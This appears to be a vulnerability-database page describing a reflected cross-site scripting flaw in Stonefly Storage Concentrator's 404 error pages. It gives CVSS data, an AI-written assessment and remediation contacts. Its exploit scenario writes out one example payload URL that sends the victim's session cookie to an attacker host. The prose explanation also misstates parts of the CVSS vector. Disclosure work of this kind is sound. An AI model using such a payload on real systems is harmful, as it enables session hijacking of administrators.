EUVD-2026-40458
GHSA-8h25-3425-5fgh
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network-delivered reflected XSS requires victim interaction (UI:R), changes scope to the victim's browser context (S:C), with limited session confidentiality and unauthorized action integrity impact; no availability impact.
Primary rating from Vendor (icscert).
CVSS VectorVendor: icscert
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
2DescriptionCVE.org
Storage Concentrator (SC & SCVM) is vulnerable to reflected cross-site scripting due to unsanitized content being echoed back in 404 error pages. An attacker can craft a malicious URL that, when visited by an authenticated user, causes arbitrary script content to execute within the victim's browser session in the context of the application. This could be leveraged to steal session cookies, redirect users, or perform unauthorized actions on behalf of the victim.
AnalysisAI
Reflected XSS in Stonefly Storage Concentrator (SC) and Storage Concentrator Virtual Machine (SCVM) allows an unauthenticated attacker to craft a malicious URL that, when opened by an authenticated storage administrator, causes arbitrary JavaScript to execute within the victim's browser session under the application's origin. The vulnerability stems from unsanitized user-supplied content being echoed directly into 404 error page responses, enabling session cookie theft, unauthorized administrative actions, or user redirection against storage management infrastructure. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires the victim to be actively authenticated to the Stonefly Storage Concentrator web management interface at the moment they visit the attacker-crafted URL - without a live authenticated session, no privileged session material is captured. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 base score of 5.1 (Medium) is broadly appropriate: the mandatory user interaction (UI:A) and low individual confidentiality/integrity impacts (VC:L/VI:L) constrain the score, but several contextual factors elevate real-world risk. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker enumerates an organization's externally or internally reachable Stonefly Storage Concentrator management interface, then constructs a URL embedding a JavaScript payload within a path segment designed to trigger the application's 404 error handler (e.g., https://sc.internal/nonexistent/<script>document.location='https://attacker.com/?c='+document.cookie</script>). The attacker delivers this URL via a phishing email or internal messaging platform to a storage administrator known to manage the SC system, who clicks the link while actively authenticated. … |
| Remediation | No specific patched version has been identified in the available data; contact Stonefly directly at https://stonefly.com/contact-us/ referencing CISA advisory ICSA-26-181-06 to obtain patch availability and target fix versions. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
More in Storage Concentrator
View allSame weakness CWE-79 – Cross-site Scripting (XSS)
View allShare
External POC / Exploit Code
Leaving vuln.today